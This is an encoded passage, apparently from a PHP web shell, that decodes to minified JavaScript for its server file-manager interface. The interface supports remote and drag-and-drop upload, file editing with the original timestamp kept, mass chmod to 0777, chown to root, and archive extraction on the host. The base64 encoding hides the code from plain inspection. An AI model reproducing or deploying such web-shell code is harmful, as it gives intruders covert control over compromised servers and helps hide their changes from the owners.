grKTwvYT48L3A+PC90aD48L3RyPjwvdGhlYWQ+PHRib2R5IGNsYXNzPSd1bGNvbXBhZGQnPjwvdGJvZHk+PHRmb290Pjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbiBuYXZiYXInIGRhdGEtcGF0aD0nIitwYXRoKyInPmV4cGxvcmVyPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJ1bF9nb19jb21wKCk7XCI+dXBsb2FkPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInIGNsYXNzPSd1bENvbXBSZXN1bHQnPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxkaXYgaWQ9J3VsRHJhZ05Ecm9wJz5PciBEcmFnIGFuZCBEcm9wIGZpbGVzIGhlcmU8L2Rpdj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJyBjbGFzcz0ndWxEcmFnTkRyb3BSZXN1bHQnPjwvdGQ+PC90cj48L3Rmb290PjwvdGFibGU+Ijt1bHVybD0iPHRhYmxlIGNsYXNzPSdib3h0YmwgdWx1cmwnPjx0aGVhZD48dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+VXBsb2FkIEZyb20gVXJsIDxhIG9uY2xpY2s9J3VsX2FkZF91cmwoKTsnPigrKTwvYT48L3A+PC90aD48L3RyPjwvdGhlYWQ+PHRib2R5IGNsYXNzPSd1bHVybGFkZCc+PC90Ym9keT48dGZvb3Q+PHRyPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uIG5hdmJhcicgZGF0YS1wYXRoPSciK3BhdGgrIic+ZXhwbG9yZXI8L3NwYW4+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cInVsX2dvX3VybCgpO1wiPnVwbG9hZDwvc3Bhbj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJyBjbGFzcz0ndWxVcmxSZXN1bHQnPjwvdGQ+PC90cj48L3Rmb290PjwvdGFibGU+Ijtjb250ZW50PXVsY29tcHV0ZXIrJzxicj4nK3VsdXJsKyI8aW5wdXQgdHlwZT0naGlkZGVuJyBjbGFzcz0ndWxfcGF0aCcgdmFsdWU9JyIrcGF0aCsiJz4iOyQoJyNleHBsb3JlcicpLmh0bWwoY29udGVudCk7dWxfYWRkX2NvbXAoKTt1bF9hZGRfdXJsKCk7JCgnI3VsRHJhZ05Ecm9wJykub24oJ2RyYWdlbnRlcicsZnVuY3Rpb24oZSl7ZS5zdG9wUHJvcGFnYXRpb24oKTtlLnByZXZlbnREZWZhdWx0KCl9KTskKCcjdWxEcmFnTkRyb3AnKS5vbignZHJhZ292ZXInLGZ1bmN0aW9uKGUpe2Uuc3RvcFByb3BhZ2F0aW9uKCk7ZS5wcmV2ZW50RGVmYXVsdCgpfSk7JCgnI3VsRHJhZ05Ecm9wJykub24oJ2Ryb3AnLGZ1bmN0aW9uKGUpe2Uuc3RvcFByb3BhZ2F0aW9uKCk7ZS5wcmV2ZW50RGVmYXVsdCgpO2ZpbGVzPWUudGFyZ2V0LmZpbGVzfHxlLmRhdGFUcmFuc2Zlci5maWxlczt1bFJlc3VsdD0kKCcudWxEcmFnTkRyb3BSZXN1bHQnKTt1bFJlc3VsdC5odG1sKCcnKTskLmVhY2goZmlsZXMsZnVuY3Rpb24oaSl7aWYodGhpcyl7dWxUeXBlPSdEcmFnTkRyb3AnO2ZpbGVuYW1lPXRoaXMubmFtZTt2YXIgZm9ybURhdGE9bmV3IEZvcm1EYXRhKCk7Zm9ybURhdGEuYXBwZW5kKCd1bEZpbGUnLHRoaXMpO2Zvcm1EYXRhLmFwcGVuZCgndWxTYXZlVG8nLGdldF9jd2QoKSk7Zm9ybURhdGEuYXBwZW5kKCd1bEZpbGVuYW1lJyxmaWxlbmFtZSk7Zm9ybURhdGEuYXBwZW5kKCd1bFR5cGUnLCdjb21wJyk7ZW50cnk9IjxwIGNsYXNzPSd1bFJlcyIrdWxUeXBlK2krIic+PHNwYW4gY2xhc3M9J3N0cm9uZyc+Jmd0Ozwvc3Bhbj4mbmJzcDs8YSBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOycgY2xhc3M9J3VsRmlsZW5hbWUiK3VsVHlwZStpKyInPiIrZmlsZW5hbWUrIjwvYT4mbmJzcDs8c3BhbiBjbGFzcz0ndWxQcm9ncmVzcyIrdWxUeXBlK2krIic+PC9zcGFuPjwvcD4iO3VsUmVzdWx0LmFwcGVuZChlbnRyeSk7aWYodGhpcy5zaXplPD0wKXskKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLmh0bWwoJyggZmFpbGVkICknKTskKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLnJlbW92ZUNsYXNzKCd1bFByb2dyZXNzJyt1bFR5cGUraSk7JCgnLnVsRmlsZW5hbWUnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxGaWxlbmFtZScrdWxUeXBlK2kpfWVsc2V7dWxfc3RhcnQoZm9ybURhdGEsdWxUeXBlLGkpfX19KX0pfWZ1bmN0aW9uIHVsX2FkZF9jb21wKHBhdGgpe3BhdGg9aHRtbF9zYWZlKCQoJy51bF9wYXRoJykudmFsKCkpOyQoJy51bGNvbXBhZGQnKS5hcHBlbmQoIjx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5GaWxlPC90ZD48dGQ+PGlucHV0IHR5cGU9J2ZpbGUnIGNsYXNzPSd1bEZpbGVDb21wJz48L3RkPjwvdHI+PHRyPjx0ZD5TYXZlIHRvPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd1bFNhdmVUb0NvbXAnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3VsX2dvX2NvbXAnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZD5GaWxlbmFtZSAoT3B0aW9uYWwpPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd1bEZpbGVuYW1lQ29tcCcgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3VsX2dvX2NvbXAnKTtcIj48L3RkPjwvdHI+Iil9ZnVuY3Rpb24gdWxfYWRkX3VybChwYXRoKXtwYXRoPWh0bWxfc2FmZSgkKCcudWxfcGF0aCcpLnZhbCgpKTskKCcudWx1cmxhZGQnKS5hcHBlbmQoIjx0cj48dGQgc3R5bGU9J3dpZHRoOjE0NHB4Jz5GaWxlIFVSTDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxGaWxlVXJsJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAndWxfZ29fdXJsJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+U2F2ZSB0bzwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxTYXZlVG9VcmwnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3VsX2dvX3VybCcpO1wiPjwvdGQ+PC90cj48dHI+PHRkPkZpbGVuYW1lIChPcHRpb25hbCk8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J3VsRmlsZW5hbWVVcmwnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb191cmwnKTtcIj48L3RkPjwvdHI+Iil9ZnVuY3Rpb24gdWxfc3RhcnQoZm9ybURhdGEsdWxUeXBlLGkpe2xvYWRpbmdfc3RhcnQoKTskLmFqYXgoe3VybDp0YXJnZXR1cmwsdHlwZTonUE9TVCcsZGF0YTpmb3JtRGF0YSxjYWNoZTpmYWxzZSxjb250ZW50VHlwZTpmYWxzZSxwcm9jZXNzRGF0YTpmYWxzZSx4aHI6ZnVuY3Rpb24oKXtteVhocj0kLmFqYXhTZXR0aW5ncy54aHIoKTtpZihteVhoci51cGxvYWQpe215WGhyLnVwbG9hZC5hZGRFdmVudExpc3RlbmVyKCdwcm9ncmVzcycsZnVuY3Rpb24oZSl7cGVyY2VudD1NYXRoLmZsb29yKGUubG9hZGVkL2UudG90YWwqMTAwKTskKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLmh0bWwoJyggJytwZXJjZW50KyclICknKX0sZmFsc2UpfXJldHVybiBteVhocn0sc3VjY2VzczpmdW5jdGlvbihyZXMpe2lmKHJlcy5tYXRjaCgvV2FybmluZy4qUE9TVC4qQ29udGVudC1MZW5ndGguKm9mLipieXRlcy4qZXhjZWVkcy4qdGhlLipsaW1pdC4qb2YvKSl7cmVzPSdlcnJvcid9aWYocmVzPT0nZXJyb3InKXskKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLmh0bWwoJyggZmFpbGVkICknKX1lbHNleyQoJy51bFJlcycrdWxUeXBlK2kpLmh0bWwocmVzKX1sb2FkaW5nX3N0b3AoKX0sZXJyb3I6ZnVuY3Rpb24oKXtsb2FkaW5nX3N0b3AoKTskKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLmh0bWwoJyggZmFpbGVkICknKTskKCcudWxQcm9ncmVzcycrdWxUeXBlK2kpLnJlbW92ZUNsYXNzKCd1bFByb2dyZXNzJyt1bFR5cGUraSk7JCgnLnVsRmlsZW5hbWUnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxGaWxlbmFtZScrdWxUeXBlK2kpfX0pfWZ1bmN0aW9uIHVsX2dvKHVsVHlwZSl7dWxGaWxlPSh1bFR5cGU9PSdjb21wJyk/JCgnLnVsRmlsZUNvbXAnKTokKCcudWxGaWxlVXJsJyk7dWxSZXN1bHQ9KHVsVHlwZT09J2NvbXAnKT8kKCcudWxDb21wUmVzdWx0Jyk6JCgnLnVsVXJsUmVzdWx0Jyk7dWxSZXN1bHQuaHRtbCgnJyk7dWxGaWxlLmVhY2goZnVuY3Rpb24oaSl7aWYoKCh1bFR5cGU9PSdjb21wJykmJnRoaXMuZmlsZXNbMF0pfHwoKHVsVHlwZT09J3VybCcpJiYodGhpcy52YWx1ZSE9JycpKSl7ZmlsZT0odWxUeXBlPT0nY29tcCcpP3RoaXMuZmlsZXNbMF06dGhpcy52YWx1ZTtmaWxlbmFtZT0odWxUeXBlPT0nY29tcCcpP2ZpbGUubmFtZTpmaWxlLnN1YnN0cmluZyhmaWxlLmxhc3RJbmRleE9mKCcvJykrMSk7dWxTYXZlVG89KHVsVHlwZT09J2NvbXAnKT8kKCcudWxTYXZlVG9Db21wJylbaV0udmFsdWU6JCgnLnVsU2F2ZVRvVXJsJylbaV0udmFsdWU7dWxGaWxlbmFtZT0odWxUeXBlPT0nY29tcCcpPyQoJy51bEZpbGVuYW1lQ29tcCcpW2ldLnZhbHVlOiQoJy51bEZpbGVuYW1lVXJsJylbaV0udmFsdWU7dmFyIGZvcm1EYXRhPW5ldyBGb3JtRGF0YSgpO2Zvcm1EYXRhLmFwcGVuZCgndWxGaWxlJyxmaWxlKTtmb3JtRGF0YS5hcHBlbmQoJ3VsU2F2ZVRvJyx1bFNhdmVUbyk7Zm9ybURhdGEuYXBwZW5kKCd1bEZpbGVuYW1lJyx1bEZpbGVuYW1lKTtmb3JtRGF0YS5hcHBlbmQoJ3VsVHlwZScsdWxUeXBlKTtlbnRyeT0iPHAgY2xhc3M9J3VsUmVzIit1bFR5cGUraSsiJz48c3BhbiBjbGFzcz0nc3Ryb25nJz4mZ3Q7PC9zcGFuPiZuYnNwOzxhIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7JyBjbGFzcz0ndWxGaWxlbmFtZSIrdWxUeXBlK2krIic+IitmaWxlbmFtZSsiPC9hPiZuYnNwOzxzcGFuIGNsYXNzPSd1bFByb2dyZXNzIit1bFR5cGUraSsiJz48L3NwYW4+PC9wPiI7dWxSZXN1bHQuYXBwZW5kKGVudHJ5KTtjaGVjaz10cnVlO2lmKHVsVHlwZT09J2NvbXAnKXtjaGVjaz0oZmlsZS5zaXplPD0wKX1lbHNlIGNoZWNrPShmaWxlPT0iIik7aWYoY2hlY2speyQoJy51bFByb2dyZXNzJyt1bFR5cGUraSkuaHRtbCgnKCBmYWlsZWQgKScpOyQoJy51bFByb2dyZXNzJyt1bFR5cGUraSkucmVtb3ZlQ2xhc3MoJ3VsUHJvZ3Jlc3MnK3VsVHlwZStpKTskKCcudWxGaWxlbmFtZScrdWxUeXBlK2kpLnJlbW92ZUNsYXNzKCd1bEZpbGVuYW1lJyt1bFR5cGUraSl9ZWxzZXt1bF9zdGFydChmb3JtRGF0YSx1bFR5cGUsaSl9fX0pfWZ1bmN0aW9uIHRyYXBfY3RybF9lbnRlcihlbCxlLGNhbGxiYWNrKXtpZihlLmN0cmxLZXkmJihlLmtleUNvZGU9PTEwfHxlLmtleUNvZGU9PTEzKSl7aWYoY2FsbGJhY2shPW51bGwpd2luZG93W2NhbGxiYWNrXSgpfWZpeF90YWJjaGFyKGVsLGUpfWZ1bmN0aW9uIGVkaXRfc2F2ZV9yYXcoKXtlZGl0X3NhdmUoJ2VkaXQnKX1mdW5jdGlvbiBlZGl0X3NhdmVfaGV4KCl7ZWRpdF9zYXZlKCdoZXgnKX1mdW5jdGlvbiBlZGl0X3NhdmUoZWRpdFR5cGUpe2VkaXRGaWxlbmFtZT0kKCcjZWRpdEZpbGVuYW1lJykudmFsKCk7ZWRpdElucHV0PSQoJyNlZGl0SW5wdXQnKS52YWwoKTtlZGl0U3VjY2Vzcz1mYWxzZTtwcmVzZXJ2ZVRpbWVzdGFtcD0nZmFsc2UnO2lmKCQoJy5jQm94JykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpKXByZXNlcnZlVGltZXN0YW1wPSd0cnVlJztzZW5kX3Bvc3Qoe2VkaXRUeXBlOmVkaXRUeXBlLGVkaXRGaWxlbmFtZTplZGl0RmlsZW5hbWUsZWRpdElucHV0OmVkaXRJbnB1dCxwcmVzZXJ2ZVRpbWVzdGFtcDpwcmVzZXJ2ZVRpbWVzdGFtcH0sZnVuY3Rpb24ocmVzKXtpZihyZXMhPSdlcnJvcicpe2VkaXRTdWNjZXNzPSdzdWNjZXNzJzt2aWV3KGVkaXRGaWxlbmFtZSxlZGl0VHlwZSxwcmVzZXJ2ZVRpbWVzdGFtcCl9ZWxzZSBlZGl0U3VjY2Vzcz0nZXJyb3InfSl9ZnVuY3Rpb24gbWFzc19hY3QodHlwZSl7YnVmZmVyPWdldF9hbGxfY2JveF9zZWxlY3RlZCgneHBsVGFibGUnLCd4cGxfaHJlZicpO2lmKCh0eXBlPT0nY3V0Jyl8fCh0eXBlPT0nY29weScpKXtsb2NhbFN0b3JhZ2Uuc2V0SXRlbSgnYnVmZmVyTGVuZ3RoJyxidWZmZXIubGVuZ3RoKTtsb2NhbFN0b3JhZ2Uuc2V0SXRlbSgnYnVmZmVyQWN0aW9uJyx0eXBlKTskLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7bG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2J1ZmZlcl8nK2ksdil9KX1lbHNlIGlmKHR5cGU9PSdwYXN0ZScpe2J1ZmZlckxlbmd0aD1sb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnYnVmZmVyTGVuZ3RoJyk7YnVmZmVyQWN0aW9uPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJBY3Rpb24nKTtpZihidWZmZXJMZW5ndGg+MCl7bWFzc0J1ZmZlcj0nJztmb3IodmFyIGk9MDtpPGJ1ZmZlckxlbmd0aDtpKyspe2lmKChidWZmPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJfJytpKSkpe21hc3NCdWZmZXIrPWJ1ZmYrJ1xuJ319bWFzc0J1ZmZlcj0kLnRyaW0obWFzc0J1ZmZlcik7aWYoYnVmZmVyQWN0aW9uPT0nY3V0Jyl0aXRsZT0nbW92ZSc7ZWxzZSBpZihidWZmZXJBY3Rpb249PSdjb3B5Jyl0aXRsZT0nY29weSc7Y29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGNsYXNzPSdtYXNzQnVmZmVyJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyBkaXNhYmxlZD4iK21hc3NCdWZmZXIrIjwvdGV4dGFyZWE+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+Iit0aXRsZSsiIGhlcmU8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIraHRtbF9zYWZlKGdldF9jd2QoKSkrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21hc3NfYWN0X2dvX3Bhc3RlJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cIm1hc3NfYWN0X2dvKCdwYXN0ZScpO1wiPiIrdGl0bGUrIjwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iO3Nob3dfYm94KHVjZmlyc3QodGl0bGUpLGNvbnRlbnQpfX1lbHNlIGlmKCh0eXBlPT0nZXh0cmFjdCAodGFyKScpfHwodHlwZT09J2V4dHJhY3QgKHRhci5neiknKXx8KHR5cGU9PSdleHRyYWN0ICh6aXApJykpe2lmKHR5cGU9PSdleHRyYWN0ICh0YXIpJylhcmNUeXBlPSd1bnRhcic7ZWxzZSBpZih0eXBlPT0nZXh0cmFjdCAodGFyLmd6KScpYXJjVHlwZT0ndW50YXJneic7ZWxzZSBpZih0eXBlPT0nZXh0cmFjdCAoemlwKScpYXJjVHlwZT0ndW56aXAnO2lmKGJ1ZmZlci5sZW5ndGg+MCl7bWFzc0J1ZmZlcj0nJzskLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7bWFzc0J1ZmZlcis9disnXG4nfSk7bWFzc0J1ZmZlcj0kLnRyaW0obWFzc0J1ZmZlcik7dGl0bGU9dHlwZTtjb250ZW50PSI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J21hc3NCdWZmZXInIHN0eWxlPSdoZWlnaHQ6MTIwcHg7bWluLWhlaWdodDoxMjBweDsnIHdyYXA9J29mZicgZGlzYWJsZWQ+IittYXNzQnVmZmVyKyI8L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkV4dHJhY3QgdG88L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JyIraHRtbF9zYWZlKGdldF9jd2QoKSkrIidvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFzc19hY3RfZ29fIithcmNUeXBlKyInKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwibWFzc19hY3RfZ28oJyIrYXJjVHlwZSsiJyk7XCI+ZXh0cmFjdDwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iO3Nob3dfYm94KHVjZmlyc3QodGl0bGUpLGNvbnRlbnQpfX1lbHNlIGlmKCh0eXBlPT0nY29tcHJlc3MgKHRhciknKXx8KHR5cGU9PSdjb21wcmVzcyAodGFyLmd6KScpfHwodHlwZT09J2NvbXByZXNzICh6aXApJykpe2RhdGU9bmV3IERhdGUoKTtyYW5kPWRhdGUuZ2V0VGltZSgpO2lmKHR5cGU9PSdjb21wcmVzcyAodGFyKScpe2FyY1R5cGU9J3Rhcic7YXJjRmlsZW5hbWU9cmFuZCsnLnRhcid9ZWxzZSBpZih0eXBlPT0nY29tcHJlc3MgKHRhci5neiknKXthcmNUeXBlPSd0YXJneic7YXJjRmlsZW5hbWU9cmFuZCsnLnRhci5neid9ZWxzZSBpZih0eXBlPT0nY29tcHJlc3MgKHppcCknKXthcmNUeXBlPSd6aXAnO2FyY0ZpbGVuYW1lPXJhbmQrJy56aXAnfWlmKGJ1ZmZlci5sZW5ndGg+MCl7bWFzc0J1ZmZlcj0nJzskLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7bWFzc0J1ZmZlcis9disnXG4nfSk7bWFzc0J1ZmZlcj0kLnRyaW0obWFzc0J1ZmZlcik7dGl0bGU9dHlwZTtjb250ZW50PSI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgY2xhc3M9J21hc3NCdWZmZXInIHN0eWxlPSdoZWlnaHQ6MTIwcHg7bWluLWhlaWdodDoxMjBweDsnIHdyYXA9J29mZicgZGlzYWJsZWQ+IittYXNzQnVmZmVyKyI8L3RleHRhcmVhPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkFyY2hpdmU8L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JyIrYXJjRmlsZW5hbWUrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21hc3NfYWN0X2dvXyIrYXJjVHlwZSsiJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cIm1hc3NfYWN0X2dvKCciK2FyY1R5cGUrIicpO1wiPmNvbXByZXNzPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7c2hvd19ib3godWNmaXJzdCh0aXRsZSksY29udGVudCl9fWVsc2UgaWYodHlwZSE9Jycpe2lmKGJ1ZmZlci5sZW5ndGg+MCl7bWFzc0J1ZmZlcj0nJzskLmVhY2goYnVmZmVyLGZ1bmN0aW9uKGksdil7bWFzc0J1ZmZlcis9disnXG4nfSk7bWFzc0J1ZmZlcj0kLnRyaW0obWFzc0J1ZmZlcik7dGl0bGU9dHlwZTtsaW5lPScnO2lmKHR5cGU9PSdjaG1vZCcpbGluZT0iPHRyPjx0ZCBjbGFzcz0nY29sRml0Jz5jaG1vZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0nbWFzc1ZhbHVlJyB0eXBlPSd0ZXh0JyB2YWx1ZT0nMDc3Nycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21hc3NfYWN0X2dvXyIrdHlwZSsiJyk7XCI+PC90ZD48L3RyPiI7ZWxzZSBpZih0eXBlPT0nY2hvd24nKWxpbmU9Ijx0cj48dGQgY2xhc3M9J2NvbEZpdCc+Y2hvd248L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9J3Jvb3QnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdtYXNzX2FjdF9nb18iK3R5cGUrIicpO1wiPjwvdGQ+PC90cj4iO2Vsc2UgaWYodHlwZT09J3RvdWNoJyl7dmFyIG5vdz1uZXcgRGF0ZSgpO2xpbmU9Ijx0cj48dGQgY2xhc3M9J2NvbEZpdCc+dG91Y2g8L3RkPjx0ZD48aW5wdXQgY2xhc3M9J21hc3NWYWx1ZScgdHlwZT0ndGV4dCcgdmFsdWU9JyIrbm93LnRvR01UU3RyaW5nKCkrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21hc3NfYWN0X2dvXyIrdHlwZSsiJyk7XCI+PC90ZD48L3RyPiJ9Y29udGVudD0iPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGNsYXNzPSdtYXNzQnVmZmVyJyBzdHlsZT0naGVpZ2h0OjEyMHB4O21pbi1oZWlnaHQ6MTIwcHg7JyB3cmFwPSdvZmYnIGRpc2FibGVkPiIrbWFzc0J1ZmZlcisiPC90ZXh0YXJlYT48L3RkPjwvdHI+IitsaW5lKyI8dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJtYXNzX2FjdF9nbygnIit0eXBlKyInKTtcIj4iK3RpdGxlKyI8L3NwYW4+PC90ZD48L3RyPjwvdGFibGU+IjtzaG93X2JveCh1Y2ZpcnN0KHRpdGxlKSxjb250ZW50KX19JCgnLmNCb3hTZWxlY3RlZCcpLnJlbW92ZUNsYXNzKCdjQm94U2VsZWN0ZWQnKTt4cGxfdXBkYXRlX3N0YXR1cygpfWZ1bmN0aW9uIG1hc3NfYWN0X2dvX3Rhcigpe21hc3NfYWN0X2dvKCd0YXInKX1mdW5jdGlvbiBtYXNzX2FjdF9nb190YXJneigpe21hc3NfYWN0X2dvKCd0YXJneicpfWZ1bmN0aW9uIG1hc3NfYWN0X2dvX3ppcCgpe21hc3NfYWN0X2dvKCd6aXAnKX1mdW5jdGlvbiBtYXNzX2FjdF9nb191bnRhcigpe21hc3NfYWN0X2dvKCd1bnRhcicpfWZ1bmN0aW9uIG1hc3NfYWN0X2dvX3VudGFyZ3ooKXttYXNzX2FjdF9nbygndW50YXJneicpfWZ1bmN0aW9uIG1hc3NfYWN0X2dvX3VuemlwKCl7bWFzc19hY3RfZ28oJ3VuemlwJyl9ZnVuY3Rpb24gbWFzc19hY3RfZ29fcGFzdGUoKXttYXNzX2FjdF9nbygncGFzdGUnKX1mdW5jdGlvbiBtYXNzX2FjdF9nb19jaG1vZCgpe21hc3NfYWN0X2dvKCdjaG1vZCcpfWZ1bmN0aW9uIG1hc3NfYWN0X2dvX2Nob3duKCl7bWFzc19hY3RfZ28oJ2Nob3duJyl9ZnVuY3Rpb24gbWFzc19hY3RfZ29fdG91Y2goKXttYXNzX2FjdF9nbygndG91Y2gnKX1mdW5jdGlvbiBtYXNzX2FjdF9nbyhtYXNzVHlwZSl7bWFzc0J1ZmZlcj0kLnRyaW0oJCgnLm1hc3NCdWZmZXInKS52YWwoKSk7bWFzc1BhdGg9Z2V0X2N3ZCgpO21hc3NWYWx1ZT0nJztpZihtYXNzVHlwZT09J3Bhc3RlJyl7YnVmZmVyTGVuZ3RoPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCdidWZmZXJMZW5ndGgnKTtidWZmZXJBY3Rpb249bG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2J1ZmZlckFjdGlvbicpO2lmKGJ1ZmZlckxlbmd0aD4wKXttYXNzQnVmZmVyPScnO2Zvcih2YXIgaT0wO2k8YnVmZmVyTGVuZ3RoO2krKyl7aWYoKGJ1ZmY9bG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2J1ZmZlcl8nK2kpKSl7bWFzc0J1ZmZlcis9YnVmZisnXG4nfX1tYXNzQnVmZmVyPSQudHJpbShtYXNzQnVmZmVyKTtpZihidWZmZXJBY3Rpb249PSdjb3B5JyltYXNzVHlwZT0nY29weSc7ZWxzZSBpZihidWZmZXJBY3Rpb249PSdjdXQnKW1hc3NUeXBlPSdjdXQnfX1lbHNlIGlmKChtYXNzVHlwZT09J2NobW9kJyl8fChtYXNzVHlwZT09J2Nob3duJyl8fChtYXNzVHlwZT09J3RvdWNoJykpe21hc3NWYWx1ZT0kKCcubWFzc1ZhbHVlJykudmFsKCl9ZWxzZSBpZigobWFzc1R5cGU9PSd0YXInKXx8KG1hc3NUeXBlPT0ndGFyZ3onKXx8KG1hc3NUeXBlPT0nemlwJykpe21hc3NWYWx1ZT0kKCcubWFzc1ZhbHVlJykudmFsKCl9ZWxzZSBpZigobWFzc1R5cGU9PSd1bnRhcicpfHwobWFzc1R5cGU9PSd1bnRhcmd6Jyl8fChtYXNzVHlwZT09J3VuemlwJykpe21hc3NWYWx1ZT0kKCcubWFzc1ZhbHVlJykudmFsKCl9aWYobWFzc0J1ZmZlciE9Jycpe3NlbmRfcG9zdCh7bWFzc1R5cGU6bWFzc1R5cGUsbWFzc0J1ZmZlcjptYXNzQnVmZmVyLG1hc3NQYXRoOm1hc3NQYXRoLG1hc3NWYWx1ZTptYXNzVmFsdWV9LGZ1bmN0aW9uKHJlcyl7aWYocmVzIT0nZXJyb3InKXskKCcuYm94cmVzdWx0JykuaHRtbChyZXMrJyBPcGVyYXRpb24ocykgc3VjY2VlZGVkJyl9ZWxzZSAkKCcuYm94cmVzdWx0JykuaHRtbCgnT3BlcmF0aW9uKHMpIGZhaWxlZCcpO25hdmlnYXRlKGdldF9jd2QoKSl9KX19ZnVuY3Rpb24geHBsX3VwZGF0ZV9zdGF0dXMoKXt0b3RhbFNlbGVjdGVkPSQoJyN4cGxUYWJsZScpLmZpbmQoJy5jQm94U2VsZWN0ZWQnKS5ub3QoJy5jQm94QWxsJykubGVuZ3RoO2lmKHRvdGFsU2VsZWN0ZWQ9PTApJCgnLnhwbFNlbGVjdGVkJykuaHRtbCgnJyk7ZWxzZSAkKCcueHBsU2VsZWN0ZWQnKS5odG1sKCcsICcrdG90YWxTZWxlY3RlZCsnIGl0ZW0ocykgc2VsZWN0ZWQnKX1mdW5jdGlvbiB4cGxfYmluZCgpeyQoJy5uYXZpZ2F0ZScpLm9mZignY2xpY2snKTskKCcubmF2aWdhdGUnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3BhdGg9eHBsX2hyZWYoJCh0aGlzKSk7bmF2aWdhdGUocGF0aCk7aGlkZV9ib3goKX0pOyQoJy5uYXZiYXInKS5vZmYoJ2NsaWNrJyk7JCgnLm5hdmJhcicpLm9uKCdj